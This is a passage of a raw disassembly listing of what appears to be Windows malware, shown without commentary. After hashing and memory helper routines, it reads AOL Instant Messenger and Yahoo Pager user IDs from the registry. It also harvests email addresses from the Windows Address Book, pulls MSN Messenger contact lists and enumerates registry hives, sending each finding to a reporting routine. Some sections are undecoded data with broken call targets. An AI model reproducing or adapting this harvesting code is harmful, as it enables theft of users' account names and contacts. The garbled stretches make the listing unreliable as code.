15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 0F83D89C0h dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 1B5810E8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0FCBF0000h, 0F30050E3h dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch dd 263B5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F60h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 0E8900000h, 25EB54Ch, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 5FB507E8h, 0C0859002h, 0E9850Fh dd 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h, 20244489h dd 569FE890h, 0B9001Bh, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h dd 100B9ABh, 0FCBF0000h, 0F30050E3h, 24448DABh, 19685010h dd 6A000200h, 3685500h, 0E8800000h, 266B673h, 8468B90h dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh, 6A006A52h dd 0FF515000h, 74C085D3h, 24548B0Bh, 81E85210h, 900263B4h dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h dd 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh, 16F424BCh dd 8C8D0000h, 6E424h, 68525100h, 443D3Ch, 0E8694F8Dh, 0FFFCC913h dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h dd 1CC483FFh, 1024548Bh, 19E89052h, 8B0263B4h, 8B24247Ch dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h, 4C244C8Dh dd 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A14FE81h, 820F0044h dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h dd 0A068006Ah, 6800445Bh, 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h dd 9468F08Bh, 5100445Bh, 446A4C68h, 0E8905600h, 1B5525h dd 443E7C68h, 6DE85600h, 907780A3h, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60A5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 0E8560A74h dd 777F74EFh, 4C48390h, 1C24448Bh, 0B2C6E850h, 8D900263h dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469E8h, 69D86852h, 90560044h, 1B5414E8h dd 3E7C6800h, 0E8560044h, 7780A25Ch, 83F88B90h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 812E7BE8h dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 73E5E856h, 8390777Fh dd 548B04C4h, 90521C24h, 63B1BBE8h, 244C8D02h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2AA01C7h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446938 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 2A50000h nop test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 2A70000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44692C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2AA01C7h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h call near ptr 2A50000h nop test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2AA01C7h mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F60 push eax nop call near ptr 2A50000h mov eax, [esp+14h] push eax nop call near ptr 2A70000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 29D03E9h nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2890000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 29B0989h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx call near ptr 2890645h nop mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi nop call near ptr 2890841h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h call near ptr 2AA01C7h nop test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A78 push ecx call ebx ; sub_5EA1BD mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 2A50000h test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A6C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h push 64h call near ptr 29B0000h nop jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 2A70000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2A70000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BAF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2A70000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BA4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2A70000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2A70000h push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx 